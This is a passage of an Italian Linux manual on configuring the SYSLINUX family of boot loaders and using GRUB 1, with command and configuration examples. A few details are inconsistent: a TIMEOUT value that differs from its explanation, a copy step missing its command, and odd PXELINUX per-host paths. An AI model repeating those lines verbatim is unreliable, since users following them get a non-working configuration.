L'avvio da unità a disco tradizionali richiede la presenza di un file system Dos-FAT, oppure Ext2/Ext3, per accogliere i file di avvio, il kernel ed eventualmente altri file che questo dovesse richiedere. Tuttavia è necessario che i file usati per l'avvio si trovino entro il cilindro virtuale 1 023, secondo il punto di vista del BIOS.

6.10.1 Installazione del sistema di avvio

A seconda che SYSLINUX debba essere installato per avviare a partire da un file system Dos-FAT; o Second-extended, si usano procedure differenti. Per il file system Dos-FAT, SYSLINUX mette a disposizione un programma Dos, '**SYSLINUX.EXE**', e un programma per GNU/Linux, '**syslinux**'; naturalmente il disco o la partizione in questione devono già essere inizializzati. A titolo di esempio, si procede nel modo seguente per creare un disco di avvio, nell'unità 'D:', di un sistema MS-Windows:

C:\> **SYSLINUX D:** [*Invio*]

Con un sistema GNU/Linux, invece, supponendo che si tratti in tal caso del dispositivo '/dev/sdc1':

syslinux /dev/sdc1 [*Invio*]

Se il file system è di tipo Ext2 o Ext3, questo deve risultare innestato per poter installare il sistema di avvio. Supponendo che tale innesto corrisponda alla directory '/mnt/sdc1/', si dovrebbe impartire il comando seguente:

extlinux --install /mnt/sdc1 [*Invio*]

L'installazione di SYSLINUX, secondo le modalità descritte, interviene soltanto nell'unità presa in considerazione. Se il file system che serve per l'avvio si trova in una partizione, è necessario prendersi cura del settore di avvio dell'unità complessiva, per esempio con il programma '**install-mbr**', del pacchetto MBR di una distribuzione GNU/Linux Debian:

install-mbr /dev/sdc [*Invio*]

È indispensabile che i file usati da SYSLINUX per l'avvio (compreso il kernel ed eventualmente il disco RAM iniziale) si trovino prima del «cilindro» 1024, secondo l'astrazione del BIOS. Lo spazio a disposizione del file system può essere anche molto grande, ma tali file devono trovarsi materialmente per primi. In pratica, la partizione o l'unità usata per l'avvio, deve essere inizialmente vuota, quindi va popolata con i file di avvio, ed eventualmente solo dopo possono essere collocati altri contenuti.

L'installazione di SYSLINUX per l'avvio è l'inserimento nel dischetto o nella partizione di un programma ('**LDLINUX.SYS**' nel caso di un file system Dos-FAT e '**extlinux.sys**' nel caso di un file system Second-extended) e la creazione di un settore di avvio opportuno, che si occupa di avviare tale programma. Il minimo indispensabile per avviare il sistema è l'aggiunta nel dischetto o nella partizione (nella directory radice) di un kernel Linux denominato convenzionalmente 'LINUX'. Tuttavia, è conveniente predisporre un file di configurazione (rispettivamente 'SYSLINUX.CFG' o 'extlinux.conf'), in modo da poter sfruttare effettivamente i vantaggi di questo sistema di avvio.

Una volta predisposto il dischetto o la partizione, il kernel può essere sostituito quanto si vuole e così anche il file di configurazione. Il settore di avvio del dischetto o della partizione si limita ad avviare il programma di avvio, il quale provvede poi a leggere la configurazione e ad avviare il kernel.

6.10.2 Configurazione

Il file di configurazione cambia nome a seconda della variante di SYSLINUX che lo prende in considerazione. Si tratta comunque di un file di testo normale, dove nel caso di installazione in un file system Dos-FAT la terminazione delle righe può essere fatta anche con il codice *<CR><LF>* (in pratica, si può creare sia utilizzando strumenti Dos, sia strumenti Unix). Alcune direttive di configurazione sono valide per tutte le varianti di SYSLINUX;; altre sono specifiche del contesto particolare di utilizzo.

L'esempio seguente mostra le caratteristiche principali di questo file di configurazione. In particolare permette di avviare il kernel contenuto nel file '`LINUX`', con diversi comandi di avvio.

```
DEFAULT linux
TIMEOUT 0
DISPLAY INTRO.TXT
PROMPT 1

F1 INTRO.TXT
F2 VARIE.TXT

LABEL linux
    KERNEL LINUX

LABEL floppy
    KERNEL LINUX
    APPEND ramdisk_start=0 load_ramdisk=1 prompt_ramdisk=1

LABEL hda1
    KERNEL LINUX
    APPEND root=/dev/hda1 ro
```

Segue la descrizione delle direttive che appaiono nell'esempio.

- '**`DEFAULT linux`**'

  Specifica di utilizzare in modo predefinito l'impostazione identificata dall'etichetta '**`linux`**'. Se questa non fosse stata specificata, significherebbe che si vuole avviare il kernel contenuto nel file '`linux`'.

- '**`TIMEOUT 50`**'

  Dopo 50 decimi di secondo (cinque secondi), senza che sia stato selezionato alcunché, si procede all'avvio secondo quanto definito in corrispondenza dell'etichetta definita dalla direttiva '**`DEFAULT`**'. Volendo fare in modo che sia obbligatorio l'intervento dell'utente, si può porre questo valore a zero.

- '**`DISPLAY INTRO.TXT`**'

  Visualizza il contenuto del file '`INTRO.TXT`' che si deve trovare, assieme agli altri file di avvio, nella directory radice del dischetto o della partizione. Attraverso l'uso di un file di questo tipo si possono dare delle istruzioni all'utente sulla scelta delle varie voci di avvio, o sul modo di comporre un comando per il kernel.

- '**PROMPT 1**'

  Fa in modo che venga visualizzato l'invito all'utente a inserire qualcosa: '**boot:**'. Se il valore abbinato fosse zero, questo invito non verrebbe visualizzato.

- '**F1 INTRO.TXT**'

  Abbina la visualizzazione del contenuto del file 'INTRO.TXT' attraverso la pressione del tasto [*F1*].

- '**F2 VARIE.TXT**'

  Abbina la visualizzazione del contenuto del file 'VARIE.TXT' attraverso la pressione del tasto [*F2*].

- '**LABEL linux**'

  Definisce il nome dell'etichetta '**linux**' utilizzata in questo caso per fare riferimento all'avvio predefinito.

- '**KERNEL LINUX**'

  Indica di utilizzare il file 'LINUX', collocato nella directory radice del dischetto o della partizione, quando si seleziona l'etichetta '**linux**'.

- '**LABEL floppy**'

  Definisce il nome dell'etichetta '**floppy**' utilizzata in questo caso per fare avviare un sistema a partire da un'immagine contenuta in un dischetto, caricandola in un disco RAM. Come è già stato visto, viene sempre utilizzato il kernel contenuto nel file 'LINUX'; ma qui si definiscono alcuni parametri di avvio, specifici per il caricamento in un disco RAM, attraverso l'istruzione '**APPEND**'.

- '**LABEL hda1**'

  Definisce il nome dell'etichetta '**hda1**' utilizzata in questo caso per fare avviare un sistema a partire dalla prima partizione del primo disco fisso PATA. Come è già stato visto, viene sempre utilizzato il kernel contenuto nel file 'LINUX'; ma qui si definiscono i parametri di avvio necessari al caricamento del file system principale da '/dev/hda1', in sola lettura.

6.10.3 File di aiuto

SYSLINUX ha una caratteristica importante: consente di predisporre diversi file di aiuto selezionabili dall'utente, prima dell'avvio del kernel. Questi file possono essere visualizzati premendo i tasti funzionali, secondo quanto definito all'interno del file di configurazione.

Dal momento che SYSLINUX non visualizza l'elenco dei tasti utilizzabili, è opportuno che uno di questi file sia visualizzato inizialmente, attraverso l'istruzione '**DISPLAY**'; inoltre è opportuno che in tutti questi file ci sia il riepilogo dei vari tasti che possono essere premuti.

Figura 6.40. Esempio di come potrebbe apparire una guida del genere, con i suggerimenti del caso.

```
Opzioni di avvio:

    "linux"  avvia il kernel nel modo predefinito
    "floppy" avvia un dischetto come ramdisk
    "hda1"   avvia il filesystem contenuto nella partizione /dev/hda1

Per ulteriori informazioni si può leggere la guida abbinata al tasto F2.

F1=INTRO  F2=VARIE
```

6.10.4 Componenti aggiuntivi

Oltre al fatto che esistono diverse varianti di SYSLINUX, per i vari contesti a cui questo sistema di avvio si rivolge, è possibile predisporre dei componenti aggiuntivi, alcuni dei quali sono standard e accompagnano la stessa distribuzione di SYSLINUX.

`memdisk`

Il programma '**`memdisk`**' che accompagna SYSLINUX, è un applicativo autonomo, ovvero un kernel, con lo scopo di caricare in memoria un disco RAM contenente a sua volta un codice di avvio. Per potersi avvalere di '**`memdisk`**', occorre che ne sia disponibile una copia nella directory radice del file system in cui si installa SYSLINUX per l'avvio, quindi va richiesto il suo utilizzo nel file di configurazione. Per esempio così:

```
...
LABEL mem
 KERNEL memdisk
 APPEND initrd=memtestp.dsk
```

In questo caso, tra i file di avvio si trova anche '`memtestp.dsk`', il quale è il file-immagine di un disco contenente un proprio sistema di avvio e un proprio kernel.

Se il file-immagine è di dimensione inferiore a 4 Mibyte, viene inteso essere un dischetto, con una geometria standard. Se invece si tratta di un file di dimensione maggiore, deve rappresentare un disco diviso in partizioni.

Sono disponibili molte opzioni per chiarire le caratteristiche precise del file-immagine; eventualmente, va consultata la documentazione originale al riguardo.

`menu.c32`

In condizioni normali, ammesso che sia richiesto attraverso la direttiva '**`PROMPT 1`**', l'interazione con SYSLINUX è a riga di comando, nel senso che per richiedere la selezione di una certa etichetta occorre digitarne il nome dopo l'invito '**`boot:`**'. Con l'aiuto del programma '**`menu.c32`**' è possibile trasformare l'elenco di etichette previste nel file di configurazione in un menù scorrevole. Per attivare l'uso di tale programma, il quale deve essere presente assieme agli altri file di avvio, occorre la direttiva seguente:

```
...
UI menu.c32
...
```

In questo modo, l'aspetto di SYSLINUX cambia notevolmente, presentando il menù di tutte le etichette.

Con l'uso del programma '**menu.c32**' è possibile aggiungere delle direttive specifiche nel file di configurazione. Segue un esempio di alcune di queste:

```
…
UI menu.c32
…
MENU TITLE NLNX boot menu - Press [F1], [F2],... to get more help.
…
LABEL auto
 TEXT HELP
  Automatic start with standard configuration
  and Vesa graphics.
 ENDTEXT
 KERNEL vmlinuz
 APPEND n_boot=auto root=/dev/ram0 ro init=/linuxrc initrd=nlnxrd.img
…
```

Va osservato che l'uso di '**menu.c32**' rende priva di effetto la direttiva '**DISPLAY**', in quanto il menù occupa tutto lo schermo e non c'è lo spazio per visualizzare altro sullo schermo. La direttiva '**MENU TITLE**' mostra un titolo sopra il menù stesso; la direttiva '**TEXT HELP**', conclusa da '**ENDTEXT**', permette di attribuire una descrizione, anche su più righe, dell'etichetta a cui si riferisce.

mboot.c32

Il programma '**mboot.c32**' consente di avviare un kernel che richieda siano soddisfatte le specifiche multiboot (sezione 76.5.1). L'esempio mostra un file di configurazione completo, in cui si prevede l'avvio del kernel '**kos32**'. Si osservi che la direttiva '**KERNEL**' viene usata per avviare '**mboot.c32**':

```
TIMEOUT 10
PROMPT 1
DEFAULT os32
#
LABEL os32
 KERNEL mboot.c32
 APPEND kos32
```

6.10.5 Avvio di un disco ottico

È disponibile una variante di SYSLINUX, rivolta a facilitare l'avvio di un disco ottico, nota con il nome ISOLINUX. Il problema della produzione di un disco ottico è preso in considerazione in un altro capitolo (sezione 21.7); tuttavia è il caso di annotare qui, anche se sommariamente, l'uso di ISOLINUX.

Per produrre un disco ottico, si parte da una struttura che si articola a partire da una certa directory; per esempio '`/tmp/mio_cd/`'. Tra le varie sottodirectory di tale struttura, va collocata '`isolinux/`'; pertanto, secondo l'esempio, ci sarebbe anche la directory '`/tmp/mio_cd/isolinux/`'. Nella directory '`isolinux/`' vanno collocati i file necessari per l'avvio, tra cui,

in particolare, il kernel Linux, il file che rappresenta il disco RAM iniziale, il file di configurazione di ISOLINUX che in questo caso deve chiamarsi '`isolinux.cfg`' e il programma '**`isolinux.bin`**'. Eventualmente vanno aggiunti nella directory '`isolinux/`' anche tutti gli altri componenti di SYSLINUX che fossero richiamati dalla configurazione.

Per produrre poi il file-immagine del disco ottico, va usato un altro strumento; per esempio Genisoimage, come nell'esempio seguente, dove si produce il file '`/tmp/mio_cd.img`':

```
# genisoimage -R -apple ↩
↪             -v ↩
↪             -input-charset default    ↩
↪             -m lost+found             ↩
↪             -o /tmp/mio_cd.img        ↩
↪             -b isolinux/isolinux.bin  ↩
↪             -c isolinux/boot.cat      ↩
↪             -no-emul-boot             ↩
↪             -boot-load-size 4         ↩
↪             -boot-info-table          ↩
↪             /tmp/mio_cd               [Invio]
```

6.10.6 Conversione di un disco ottico avviabile in un'unità di memoria solida

Può capitare di dover trasformare un disco ottico avviabile attraverso ISOLINUX, in un'unità di memoria solida, con le stesse caratteristiche. A titolo di esempio, si parte dal file-immagine del disco di installazione della distribuzione Ubuntu, versione 9.10.

Si comincia con l'innesto del file-immagine in una directory conveniente:

```
# mount -o loop -t auto ubuntu-9.10-desktop-i386.img /mnt/ubuntu [Invio]
```

Osservando il contenuto del file-immagine, si può notare la presenza di un collegamento simbolico, cosa che richiede un file system di tipo Unix; pertanto, nell'unità di memoria solida va usato EXTLINUX per l'avvio:

```
# tree -L 1 /mnt/ubuntu [Invio]
```

```
/mnt/ubuntu
|-- README.diskdefines
|-- autorun.inf
|-- casper
|-- dists
|-- install
|-- isolinux
|-- md5sum.txt
|-- pics
|-- pool
|-- preseed
|-- ubuntu -> .
`-- wubi.exe
```

Si predispone la prima partizione dell'unità di memorizzazione in cui travasare la distribuzione Ubuntu con un file system Ext2, in modo da poter rappresentare il collegamento simbolico

e per poter sfruttare poi EXTLINUX. Si suppone che tale partizione corrisponda al file di dispositivo '`/dev/sdc1`':

`mkfs.ext2 /dev/sdc1` [*Invio*]

Il tipo di partizione deve rispecchiare anche il file system contenuto; inoltre è necessario che risulti come partizione avviabile, come sarebbe se si volesse usare SYSLINUX con una partizione Dos-FAT. Quindi si procede con la sistemazione del primo settore di avvio (MBR):

`install-mbr /dev/sdc` [*Invio*]

Si deve innestare il file system Ext2, per poter installare EXTLINUX:

`mount -t ext2 /dev/sdc1 /mnt/sdc1` [*Invio*]

Si installa EXTLINUX:

`extlinux /dev/sdc1` [*Invio*]

A questo punto si procede con la copia del contenuto della directory '`isolinux/`' che si trova nel file-immagine, già innestato in '`/mnt/ubuntu/`':

`cp -dpRv /mnt/ubuntu/isolinux/* /mnt/sdc1` [*Invio*]

La copia non riproduce la directory '`isolinux/`', perché lì, i file di avvio devono trovarsi nella radice del file system.

Quindi si copia tutto il contenuto del file-immagine nell'unità di memoria solida; eventualmente non sarebbe necessario copiare nuovamente il contenuto della directory '`isolinux/`', ma in questo caso non si tratta di un contenuto importante in termini di spazio:

`cp -dpRv /mnt/ubuntu/* /mnt/sdc1` [*Invio*]

Nell'unità di memoria solida, contenente il file system Ext2, occorre creare il file di configurazione di EXTLINUX. In pratica, dovrebbe essere sufficiente copiare il file '`isolinux.cfg`' per ottenere il nome '`extlinux.conf`':

`/mnt/sdc1/isolinux.cfg /mnt/sdc1/extlinux.conf` [*Invio*]

Al termine si può passare al distacco dell'unità e del file-immagine. Se tutti i passaggi sono corretti, a questo punto dovrebbe essere possibile avviare un sistema dall'unità di memorizzazione esterna, come se fosse il CD di avvio e installazione della distribuzione Ubuntu.

6.10.7 Avvio dalla rete, senza dischi locali

Una variante speciale di SYSLINUX consente l'avvio di un sistema dalla rete, senza disporre di unità di memoria di massa locali, attraverso il protocollo PXE . Tale variante è nota con il nome PXELINUX.

Riquadro 6.46. Protocollo PXE.

Il protocollo PXE, ovvero *Pre-boot execution environment*, costituisce un procedimento per il caricamento di un piccolo file eseguibile attraverso l'interfaccia di rete, per avviare successivamente il sistema operativo. Il file eseguibile caricato dal protocollo PXE, deve essere pubblicizzato, a sua volta, dal protocollo DHCP; per esempio, con il servente DHCP di ISC, nel file '/etc/dhcp3/dhcpd.conf' dovrebbe apparire una direttiva simile a quella seguente:

```
filename "/pxelinux/pxelinux.0";
```

Ma questo file, a sua volta, viene caricato attraverso il protocollo TFTP, per cui il percorso indicato dipende dalla configurazione del servizio TFTP stesso.

Per poter organizzare un servizio di avvio dalla rete, oltre che predisporre PXELINUX occorre configurare adeguatamente un servizio DHCP, e TFTP; inoltre occorre configurare gli elaboratori che devono avvalersi di tali servizi, in modo da avviare il sistema dalla rete (con il protocollo PXE).

Tralasciando le questioni che non sono direttamente di competenza di PXELINUX, dal momento che per quelle si richiede un'ottima conoscenza della gestione dei servizi di rete fondamentali (per il DHCP si veda la sezione 42.5; per il TFTP si veda la sezione 42.9), nella directory che rappresenta il punto di inizio del servizio TFTP (di solito è '/var/lib/tftpboot/') va collocata la directory 'pxelinux/' con i file che servono per l'avvio.

Nella directory 'pxelinux/' vanno collocati, in modo particolare, il programma '**pxelinux.0**', il kernel Linux, il file che rappresenta il disco RAM iniziale e tutti gli altri file e componenti di SYSLINUX richiesti dalla configurazione di PXELINUX. Ma a differenza delle altre varianti di SYSLINUX, il file di configurazione si deve collocare nella sottodirectory 'pxelinux/pxelinux.cfg/'.

PXELINUX prevede un file di configurazione generale, predefinito, corrispondente al file 'pxelinux/pxelinux.cfg/default', ma ne possono essere specificati altri, corrispondenti all'indirizzo IPv4, tradotto in esadecimale. Per esempio, il file 'pxelinux/pxelinux.cfg/default/C0A801D3' è specifico per l'elaboratore con indirizzo IPv4 192.168.1.211, mentre il file 'pxelinux/pxelinux.cfg/default/AC11' riguarda gli elaboratori con indirizzi IPv4 172.17.*.*, ammesso che non ci siano altri file che rappresentano un indirizzo con maggiore dettaglio.

6.11 GRUB 1

GRUB 1,[7] ovvero «GRUB legacy», è un sistema per il caricamento di GNU/Linux e di molti altri sistemi operativi, negli elaboratori con architettura x86. GRUB 1 è un sistema molto sofisticato e in questo capitolo vengono descritti solo gli aspetti più importanti, per un utilizzo secondo le convenzioni comuni. Eventualmente si può contare sulla documentazione originale che è molto accurata e dettagliata. Va osservato che GRUB 1 non viene più sviluppato e che viene rimpiazzato da GRUB 2, con l'obiettivo di poter utilizzare piattaforme hardware differenti.

Nella sezione 21.7.4.8 viene descritto l'uso di GRUB 1 per rendere avviabile un CD o un DVD, benché per questo sia più indicato SYSLINUX (ISOLINUX).

6.11.1 Logica generale

In condizioni normali, quando si installa il pacchetto GRUB 1 nel proprio sistema, si dovrebbero trovare i file salienti nella directory '/lib/grub/i386-pc/'. Esistono qui due file fondamentali, denominati 'stage1' e 'stage2', assieme ad altri file che corrispondono al modello '*_stage1_5'.

Questi nomi hanno un significato molto chiaro, riferendosi agli stadi in cui è suddivisa la fase di avvio. Se si osserva bene, si può notare che il file 'stage1' è lungo esattamente 512 byte, ovvero un settore: questo è il primo pezzo di codice che viene utilizzato durante l'avvio. Il file 'stage2' rappresenta invece il codice necessario al completamento dell'avvio, mentre i file della serie '*_stage1_5' rappresentano una fase intermedia, eventuale, che potrebbe inserirsi subito prima di 'stage2', se necessario.

L'installazione del sistema di avvio avviene collocando una copia del file 'stage1' nel settore di avvio dell'unità usata per questo scopo; potrebbe trattarsi del primo settore di un dischetto, del primo settore del disco fisso (MBR), oppure il primo settore di una partizione primaria (o anche di una partizione «logica»), ma in tal caso si lascia il compito di avviarlo a un altro sistema del genere. Anche gli altri file vanno copiati in un'altra posizione, soprattutto perché, a seconda della circostanza, vengono modificati.

In condizioni normali, si colloca una copia di tutti i file contenuti nella directory '/lib/grub/i386-pc/' in '/boot/grub/'; inoltre, sempre nella directory '/boot/grub/' si crea un file di configurazione denominato convenzionalmente 'menu.lst'.

Perché GRUB 1 funzioni è sufficiente che sia stato fissato il collegamento tra il codice contenuto nel settore di avvio (il file 'stage1') e il codice contenuto nel file 'stage2', con la mediazione eventuale di un file '*_stage1_5'. Ciò permette a GRUB 1 di avere il controllo della situazione, così l'utente può osservare il contenuto delle partizioni e indicare un kernel da avviare, anche senza alcuna configurazione. Infatti, GRUB 1 è realizzato in modo da poter leggere autonomamente i file system più comuni; in particolare i formati Second-extended tradizionali di GNU/Linux e di GNU/Hurd, (ovvero Ext2 e Ext3), come i formati FAT di Dos e MS-Windows.

GRUB 1, quando è installato correttamente, è una sorta di shell, con dei comandi interni che facilitano la gestione dell'avvio, senza bisogno di creare un legame diretto con il file o i file del kernel e la configurazione eventuale. In questo modo si possono modificare (sostituire, aggiungere o eliminare) i file del kernel; inoltre, anche il file di configurazione, se utilizzato, può essere modificato a piacimento, senza bisogno di reinstallare il sistema di avvio. Eventualmente, in un sistema già avviato, è disponibile anche l'eseguibile '**grub**', che riproduce il comportamento del sistema di avvio e può essere usato proprio per installarlo. La riga di comando di GRUB 1 offre anche un sistema di completamento automatico che facilita notevolmente l'utilizzo, specialmente quando non è stato preparato un file di configurazione. In tal caso, il funzionamento è molto simile a quello della shell Bash (si veda il capitolo 19 che si riferisce in generale alle shell POSIX).

6.11.2 Dischi, partizioni, percorsi e blocchi di settori

«

GRUB 1 è un sistema di avvio pensato per diversi sistemi operativi, in grado di accedere da solo ai file system. In questo senso, utilizza una sua notazione per fare riferimento ai dischi, alle partizioni e ai percorsi contenuti nelle partizioni. Un disco, nella sua interezza, si indica secondo la sintassi seguente:

```
(hdn) | (fdn)
```

La sigla '**hd**' fa riferimento a un disco fisso, di qualsiasi genere, mentre la sigla '**fd**' fa riferimento a un dischetto. Il numero specifica quale disco o dischetto, secondo l'ordine attribuito dal BIOS (il firmware nell'architettura x86). In questo senso, il primo disco fisso, di qualunque tipo sia (PATA, SATA, SCSI, ecc.) è sempre '**(hd0)**'; nello stesso modo, il primo dischetto è sempre '**(fd0)**'.

Per fare riferimento a una partizione, si usa la notazione seguente:

```
(hdn,m)
```

In questo modo, si fa riferimento al disco ***n***-esimo (come è già stato mostrato) e alla partizione ***m***-esima, anche in questo caso si parte da zero. Per esempio, '**(hd0,1)**' fa riferimento alla seconda partizione del primo disco fisso; se si trattasse di un disco PATA, per GNU/Linux corrisponderebbe al file di dispositivo '`/dev/hda2`'.

Nel caso particolare delle partizioni *BSD, queste si articolano in sottopartizioni conosciute come *disklabel*, identificate da una lettera alfabetica:

```
(hdn[,m],x)
```

In pratica, il numero della partizione può essere omesso se si tratta della prima, mentre ***x*** rappresenta la lettera minuscola che identifica l'etichetta BSD a cui si vuole fare riferimento. Per esempio, '**(hd0,a)**' fa riferimento alla sottopartizione «a» (secondo BSD), della prima partizione del primo disco fisso; la stessa cosa si potrebbe annotare in modo più dettagliato come '**(hd0,0,a)**'.

C'è un'ultima cosa da tenere in considerazione a proposito della notazione riferita ai dischi e delle partizioni. Al posto della forma '**(hd...)**', oppure '**(fd...)**', si può indicare direttamente il numero attribuito dal BIOS, espresso in esadecimale, secondo la notazione '**0x*hh***', oppure in decimale. Per esempio, il primo disco fisso si può indicare anche come '**(0x80)**', oppure '**(128)**'. A ogni modo, in condizioni normali non c'è ragione di usare questa notazione.

Per fare riferimento a un file o a una directory, si indicano percorsi simili a quelli comuni nei sistemi Unix (indipendentemente dal tipo di file system a cui si accede), con l'indicazione eventuale del disco o della partizione a cui si fa riferimento:

```
[disco_o_partizione] percorso
```

Per esempio, per fare riferimento alla prima partizione del primo disco fisso, in cui si trova il file o il collegamento '/boot/vmlinuz', si può indicare '**(hd0,0)/boot/vmlinuz**'.

Bisogna evitare di fare confusione: il percorso che segue l'indicazione del disco o della partizione è riferito al disco o alla partizione stessa. GRUB 1 non può essere al corrente della struttura di un file system articolato attraverso diversi innesti, che uniscono assieme più partizioni in uno stesso albero. In pratica, è un po' come succede nei sistemi Dos e MS-Windows, in cui i percorsi sono sempre riferiti a unità distinte in base a una lettera ('C:\...\...').

GRUB 1 è un sistema di avvio, che deve poter fare anche riferimento a settori dei dischi, indipendentemente dal file system contenuto. Per questo si aggiunge un'altra notazione, che va a sostituire quella del percorso di un file:

[*inizio*] +*lunghezza* [, [*inizio*] +*lunghezza*]...

Il modello sintattico fa riferimento alla possibilità di individuare uno o più gruppi di settori, ognuno a partire da una posizione, che se non viene specificata è implicitamente il settore zero, per una quantità (lunghezza) di settori stabilita. In pratica, la notazione '**0+2**' fa riferimento a un gruppo composto da due settori, a partire dal primo (il settore zero). Secondo la sintassi, la stessa cosa si potrebbe indicare omettendo il settore iniziale: '**+2**'. Potrebbe capitare, con maggiore probabilità, di dover fare riferimento soltanto al primo settore di una partizione, come nel caso di '**(hd0,0)+1**', in cui si indica il primo settore della prima partizione del primo disco fisso.

6.11.3 Dischetto GRUB 1 di emergenza

Prima di installare GRUB 1 come sistema di avvio per il proprio elaboratore, conviene fare delle prove non distruttive. Se si dispone ancora di unità a dischetti, si può prepare un dischetto contenente GRUB 1, che potrebbe servire anche per sistemare dei problemi in altre situazioni in cui il sistema di avvio è compromesso per qualche ragione.

Servono soltanto i file 'stage1' e 'stage2' originali (quelli contenuti nella directory '/lib/grub/i386-pc/' e non quelli già utilizzati per l'installazione di un sistema di avvio) che vanno copiati sequenzialmente a partire dal primo settore del dischetto. In pratica, con un sistema GNU/Linux si può agire nel modo seguente:

cd /lib/grub/i386-pc [*Invio*]

cat stage1 stage2 > /dev/fd0 [*Invio*]

Diversamente, con un altro sistema operativo Unix in cui questo meccanismo non sia attuabile, si possono usare i comandi seguenti:

cd /lib/grub/i386-pc [*Invio*]

dd if=stage1 of=/dev/fd0 bs=512 count=1 [*Invio*]

dd if=stage2 of=/dev/fd0 bs=512 seek=1 [*Invio*]

In pratica, con '**dd**' bisogna copiare il file '`stage2`' a partire dal secondo settore del dischetto, perché il primo contiene il file '`stage1`'.

Eventualmente, si può fare anche attraverso il Dos, con l'aiuto del programma '**RAWRITE.EXE**':

C:\> **COPY /B STAGE1 + STAGE2 GRUB.RAW** [*Invio*]

C:\> **RAWRITE GRUB.RAW A:** [*Invio*]

In questo modo, si crea prima il file '`GRUB.RAW`', unendo i due file di partenza, quindi si passa al trasferimento nel dischetto. Ovviamente, la stessa tecnica si può sfruttare anche in un sistema Unix:

cat stage1 stage2 > grub.raw [*Invio*]

dd if=grub.raw of=/dev/fd0 bs=512 [*Invio*]

6.11.4 Funzionamento interattivo

Una volta preparato il dischetto contenente GRUB 1, si può provare ad avviare un elaboratore. Quello che si ottiene è lo stesso funzionamento che si avrebbe in un'installazione priva di configurazione:

```
      GRUB  version 0.90  (640K lower / 3072K upper memory)

   [ Minimal BASH-like line editing is supported.  For the first word, TAB
     lists possible command completions.  Anywhere else TAB lists the possible
     completions of a device/filename. ]

grub>
```

Come si vede, appare anche una breve spiegazione sull'uso della riga di comando, che segue l'invito '**grub>**'.

Se non si ricordano i comandi disponibili, si può ottenere un elenco di questi con il comando '**help**'; inoltre, sempre con '**help**' si può ottenere una descrizione più dettagliata sulla sintassi di un comando particolare:

grub> **help** [*Invio*]

```
 cat FILE                                chainloader [--force] FILE
 cmp FILE1 FILE2                         color NORMAL [HIGHLIGHT]
 configfile FILE                         debug
 device DRIVE DEVICE                     displayapm
 displaymem                              embed STAGE1_5 DEVICE
 find FILENAME                           fstest
 geometry DRIVE [CYLINDER HEAD SECTOR [  halt [--no-apm]
 help [PATTERN ...]                      hide PARTITION
 impsprobe                               initrd FILE [ARG ...]
 install [--stage2=STAGE2_FILE] [--forc  ioprobe DRIVE
 kernel [--no-mem-option] [--type=TYPE]  lock
 makeactive                              map TO_DRIVE FROM_DRIVE
```

```
md5crypt                                    module FILE [ARG ...]
modulenounzip FILE [ARG ...]                partnew PART TYPE START LEN
parttype PART TYPE                          password [--md5] PASSWD [FILE]
pause [MESSAGE ...]                         quit
read ADDR                                   reboot
root [DEVICE [HDBIAS]]                      rootnoverify [DEVICE [HDBIAS]]
savedefault                                 serial [--unit=UNIT] [--port=PORT] [--
setkey [TO_KEY FROM_KEY]                    setup [--prefix=DIR] [--stage2=STAGE2_
terminal [--dumb] [--timeout=SECS] [co testload FILE
testvbe MODE                                unhide PARTITION
uppermem KBYTES                             vbeprobe [MODE]
```

Per esempio, si può cercare di vedere meglio la sintassi del comando '**find**':

grub> **help find** [*Invio*]

```
find: find FILENAME
    Search for the filename FILENAME in all of partitions and print
    the list of the devices which contain the file.
```

GRUB 1 è un sistema di avvio potente, ma ugualmente con delle limitazioni. In questo caso è stato mostrato un comando molto promettente, '**find**', che però non può essere efficace quanto il programma omonimo dei sistemi Unix. Infatti, si deve tenere presente che GRUB 1 è sì in grado di completare i nomi, come fa la shell Bash, ma attualmente non riconosce i caratteri jolly. Pertanto, i file vanno indicati sempre come percorsi assoluti, dove spesso è obbligatoria anche l'indicazione del disco o della partizione in cui si trovano.

Volendo fare un esempio concreto, si può immaginare di voler avviare un sistema GNU/Linux con la partizione principale corrispondente al file di dispositivo '`/dev/hda6`', ma con il kernel collocato all'inizio di una partizione separata, corrispondente al file di dispositivo '`/dev/hda1`':

grub> **kernel (hd0,0)/vmlinuz-2.4.2 root=/dev/hda6 ro** [*Invio*]

Evidentemente, per scrivere un comando del genere occorre sapere bene come è strutturato il sistema di partizioni, oltre al nome e alla collocazione del file del kernel. Se le idee sono un po' confuse, si può sfruttare l'abilità di GRUB 1 nel completare i comandi. Si comincia con l'ispezionare i dischi:

grub> **kernel (hd** [*Tab*]

```
 Possible disks are:  hd0 hd1
```

In questo caso sono stati individuati due dischi fissi, ma si ritiene che il sistema da avviare risieda nel primo di questi due:

grub> **kernel (hd0,** [*Tab*]

```
Possible partitions are:
  Partition num: 0,  Filesystem type is ext2fs, partition type 0x83
  Partition num: 1,  Filesystem type is fat, partition type 0x6
  Partition num: 4,  Filesystem type unknown, partition type 0x82
  Partition num: 5,  Filesystem type is ext2fs, partition type 0x83
  Partition num: 6,  Filesystem type is ext2fs, partition type 0x83
```

Si intuisce (oppure si riesce a ricordare) che la prima partizione dovrebbe essere stata usata per contenere i file del kernel, oltre ad altri file del sistema di avvio usato precedentemente, mentre si intende che la partizione principale del sistema operativo dovrebbe essere quella che qui viene indicata come la numero cinque. In pratica, non può esserlo la numero uno, perché contiene un file system Dos-FAT e non può esserlo la numero quattro, perché è una partizione di scambio della memoria virtuale.

grub> **kernel (hd0,0)/** [*Tab*]

```
Possible files are: lost+found System.map-2.2.15 boot.0300 boot.b
boot.b.preserved chain.b chain.b.preserved config-2.2.15 map mbr.b
os2_d.b os2_d.b.preserved part.0300 vmlinuz-2.2.15 System.map-2.4.2
config-2.4.2 vmlinuz-2.4.2
```

Come si vede, si ottiene così l'elenco dei file contenuti all'inizio della prima partizione del primo disco fisso. Si tratta evidentemente dei file usati da un altro sistema di avvio, assieme a due kernel. Si decide di avviare il kernel '`vmlinuz-2.4.2`' e la ricerca termina, perché le altre informazioni sono specifiche del kernel (per cui GRUB 1 non può suggerirle):

grub> **kernel (hd0,0)/vmlinuz-2.4.2 root=/dev/hda6 ro** [*Invio*]

Naturalmente, così come sono state aggiunte le opzioni '**`root=/dev/hda6`**' e '**`ro`**', se ne possono aggiungere altre, in base alle proprie esigenze. Ciò che è stato mostrato rappresenta il minimo: l'indicazione della partizione principale del sistema e il fatto che la si vuole aprire inizialmente in sola lettura.

Al termine, si richiede espressamente di avviare il sistema con il comando '**`boot`**':

grub> **boot** [*Invio*]

